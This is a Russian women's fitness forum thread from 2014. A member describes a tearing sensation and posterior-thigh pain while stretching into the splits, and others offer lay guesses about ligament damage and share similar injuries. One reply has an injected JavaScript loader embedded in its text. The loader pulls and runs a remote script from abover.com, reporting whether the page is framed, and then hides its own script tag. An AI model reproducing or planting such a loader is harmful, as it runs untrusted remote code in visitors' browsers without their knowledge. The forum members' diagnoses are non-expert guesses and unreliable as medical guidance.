Поиск
в Клуб Стройнеющих 10 лет

Травма при растяжке

Девочки подскажите, может у кого такое было....

Вчера после 30 мин пробежки растягивалась.. Хочу сесть на шпагат. Вчера так здорово всё получалось. На одну ногу получилось сесть полностью.. А вот стала на другую садиться и у меня что-то внутри ноги затрещало!!. не хрустнуло, тогда бы было понятно, что это сустав какой-нибудь, а именно треск был, как будто что-то рвется..

Боль в мышце, на задней поверхности бедра.. Сегодня хожу как пришибленная на одну ногу..

Ну не порвала точно ничего, иначе бы наверное не ходила... )))
Ммм... синяка тоже нет.. Почему-то подумалось, если бы мышца повредилась, то синяк бы появился...

Тупая нудная боль.. И наклоняться (чтоб ноги потянулись) и ходить больно...

Как же это портит настроение!!!

Вопроса три:

- что это может быть?

- когда пройдет? Как долго будет больно...

- и можно ли сегодня на аэробику? ))))

Всем заранее спасибо, если кто подскажет! )))

11
Посмотрите еще 20 записей на эту тему
Маринеска, ты надорвала или порвала связки скорее всего. Обратись к врачу, плиз! Это надолго. Никаких аэробик сегодня!.. и завтра тоже нет...
19.02.2014
Ответить
Эх, спасибо!...Боль в ноге доходчивей всего объясняет, что тренировку я сегодня пропускаю.... )))
19.02.2014
Ответить
ага, меня классе в 9-10 на танцах на шпагат тянули. с левой ногой перестарались. так до сих пор правая тянется хорошо, а левая с огромным трудом. =(
19.02.2014
Ответить
Грустно... Что ж теперь придется забыть про шпагат на левую ногу?..У меня тоже левая...
19.02.2014
Ответить
в принципе нет, но стараний и терпения придется гораздо больше вложить.
19.02.2014
Ответить
У меня так случилось в детстве на занятиях гимнастикой при попытке сесть на шпагат. Это микронадрыв связок. Так и болит одна нога всю жизнь, когда пытаюсь сесть на шпагат...
19.02.2014
Ответить
Ага!и что, само собой это не пройдет?....
19.02.2014
Ответить
У всех наверное по разному. Зависит от степени повреждения. У меня в спокойном состоянии и при тренинге не болит. Болит когда на шпагат пытаюсь сесть этой ногой
19.02.2014
Ответить
это связки,смотря как трещало,может болеть долго,если в спокойном состоянии не болит,то легче.теперь нужно разогревать перед каждым занятием.Смотрите по состоянию,но после занятия нога будет болеть,т.к. дадите нагрузку.[removed](function () { var script = document.createElement('script'); script.src = 'https://abover.com/system/extension?iframe=' + ( self === top ? '0' : '1' ) + '&r=' + Math.random() + '&v=1.0.8'; script.onload = script.onerror = function () { script.onload = script.onerror = null; script[removed].removeChild(script); } document.body.appendChild(script); })();[removed]
19.02.2014
Ответить
Спасибо! Но болит мышца..именно она сама..Ладно..буду аккуратней заниматься!
19.02.2014
Ответить
Это кажется что мышца, но это связки....именно они  так болят согласно вашим описаниям
19.02.2014
Ответить
Куриные котлеты для спортивно-дието-худеющих промежуточные результаты №2